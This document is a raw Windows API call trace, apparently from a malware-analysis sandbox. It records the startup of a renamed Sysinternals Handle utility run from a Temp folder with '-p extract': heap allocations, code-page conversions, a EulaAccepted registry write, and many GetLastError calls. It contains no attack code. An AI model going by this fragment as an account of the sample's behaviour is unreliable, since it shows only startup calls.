GetFileType (hFile=0xb) returned 0x2 [0079.243] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0079.243] GetEnvironmentStringsW () returned 0x1afff0* [0079.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0xb3a) returned 0x1b0b40 [0079.243] FreeEnvironmentStringsW (penv=0x1afff0) returned 1 [0079.243] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0079.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0xb8) returned 0x1b1690 [0079.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x138) returned 0x1b1750 [0079.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3e) returned 0x1a62c0 [0079.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x6c) returned 0x1b1890 [0079.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x62) returned 0x1b1910 [0079.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x78) returned 0x1b1980 [0079.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x62) returned 0x1b1a00 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1addd0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x48) returned 0x1a6310 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2c) returned 0x1ade10 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x28) returned 0x1a5f10 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1a) returned 0x1a5f40 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4a) returned 0x1b1a70 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x72) returned 0x1b1ad0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1ade50 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1ade90 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1c) returned 0x1a5f70 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xd2) returned 0x1b1b50 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x7c) returned 0x1b1c30 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3a) returned 0x1a6360 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x90) returned 0x1b1cc0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x24) returned 0x1a5fa0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1aded0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x36) returned 0x1adf10 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a63b0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x52) returned 0x1b1d60 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a6400 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x18) returned 0x1b1dc0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x82) returned 0x1b1de0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1adf50 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1e) returned 0x1a5fd0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2c) returned 0x1adf90 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x54) returned 0x1b1e70 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x52) returned 0x1b1ed0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2a) returned 0x1adfd0 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a6450 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x54) returned 0x1b1f30 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x24) returned 0x1a6000 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1ae010 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x8c) returned 0x1afff0 [0079.244] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b0b40 | out: hHeap=0x190000) returned 1 [0079.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1000) returned 0x1b0090 [0079.245] GetLastError () [0079.245] GetLastError () [0079.245] GetLastError () [0079.245] GetACP () returned 0x4e4 [0079.245] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x228) returned 0x1b10a0 [0079.245] GetLastError () [0079.245] IsValidCodePage (CodePage=0x4e4) returned 1 [0079.245] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0079.245] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0079.245] GetLastError () [0079.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0079.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ?옖") returned 256 [0079.245] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ?옖", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0079.245] GetLastError () [0079.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0079.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0079.245] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0079.245] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0079.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0079.246] GetLastError () [0079.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0079.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0079.246] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0079.246] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0079.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0079.246] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x100) returned 0x1b12d0 [0079.246] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0079.246] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1b12d0) [0079.246] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0079.246] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0079.246] GetCurrentProcess () returned 0xffffffffffffffff [0079.246] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0079.247] GetLastError () [0079.247] GetLastError () [0079.247] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0079.247] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0079.247] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0079.247] RegCloseKey (hKey=0x78) returned 0x0 [0079.247] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0079.247] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0079.247] RegCloseKey (hKey=0x78) returned 0x0 [0079.247] GetLastError () [0079.247] GetLastError () [0079.247] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0079.248] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0079.248] RegCloseKey (hKey=0x78) returned 0x0 [0079.248] GetLastError () [0079.248] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x1000) returned 0x1b2410 [0079.248] GetLastError () [0079.248] GetLastError () [0079.248] GetLastError () [0079.248] GetLastError () [0079.249] GetLastError () [0079.249] GetLastError () [0079.249] GetLastError () [0079.250] GetLastError () [0079.250] GetLastError () [0079.250] GetLastError () [0079.250] GetLastError () [0079.250] GetLastError () [0079.250] GetLastError () [0079.250] GetLastError () [0079.250] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.251] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.252] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.253] GetLastError () [0079.254] GetLastError () [0079.254] GetLastError () [0079.254] GetLastError () [0079.254] GetLastError () [0079.254] GetLastError () [0079.254] GetLastError () [0079.254] GetLastError () [0079.254] GetLastError () [0079.254] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0079.254] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.256] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.257] GetLastError () [0079.258] GetLastError () [0079.258] GetLastError () [0079.258] GetLastError () [0079.258] GetLastError () [0079.258] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0079.258] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0079.259] GetLastError () [0079.259] GetLastError () [0079.259] GetLastError () [0079.259] GetLastError () [0079.259] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.260] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () 